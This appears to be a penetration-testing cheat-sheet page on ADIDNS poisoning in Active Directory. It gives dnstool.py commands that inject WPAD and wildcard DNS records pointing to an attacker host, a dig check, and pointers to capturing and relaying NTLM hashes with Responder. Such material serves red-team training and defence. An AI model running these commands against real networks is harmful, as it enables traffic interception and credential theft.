Skip to content
HackIndex logo

HackIndex

ADIDNS Poisoning and Hijacking

2 min read Jul 14, 2026

By default, Active Directory Integrated DNS (ADIDNS) allows any authenticated domain user to create new DNS records if the node does not already exist. This can be exploited to resolve non-existent hostnames to an attacker-controlled machine, enabling traffic interception and NTLM credential relaying.

Injecting a WPAD Record

The Web Proxy Auto-Discovery (WPAD) protocol is heavily relied upon by Windows clients. If a wpad record does not exist in the AD zone, you can inject one. This forces domain machines to fetch a malicious proxy configuration file from your attacking machine.

Use dnstool.py from the krbrelayx suite to inject the record using compromised domain credentials.

┌──(kali㉿kali)-[~]
└─$ python3 dnstool.py -u $USER -p $PASSWORD -r wpad -a add -t A -d $LHOST $TARGET_IP

Verifying the Injection

Ensure the target DNS server now resolves the injected hostname to your listener IP.

┌──(kali㉿kali)-[~]
└─$ dig @$TARGET_IP wpad.$DOMAIN A +short 
192.168.1.50

Start an interception tool like Responder or an HTTP listener on $LHOST to serve the malicious proxy configuration and capture incoming NTLM hashes.

Injecting a Wildcard Record

If specific records like WPAD already exist and cannot be overwritten, you can inject a wildcard record (*). This catches any query for a hostname that does not explicitly exist in the domain, routing misspelled internal domain names directly to you.

┌──(kali㉿kali)-[~]
└─$ python3 dnstool.py -u $USER -p $PASSWORD -r "*" -a add -t A -d $LHOST $TARGET_IP

Once the wildcard is established, start an SMB relay or authentication capture tool on $LHOST to process the misdirected traffic. For relay execution, see SMB NTLM Relay. For WPAD traffic capture and NTLM hash collection via poisoned records, see WPAD DNS Credential Capture with Responder. Captured hashes can be relayed via AD NTLM Relay.

References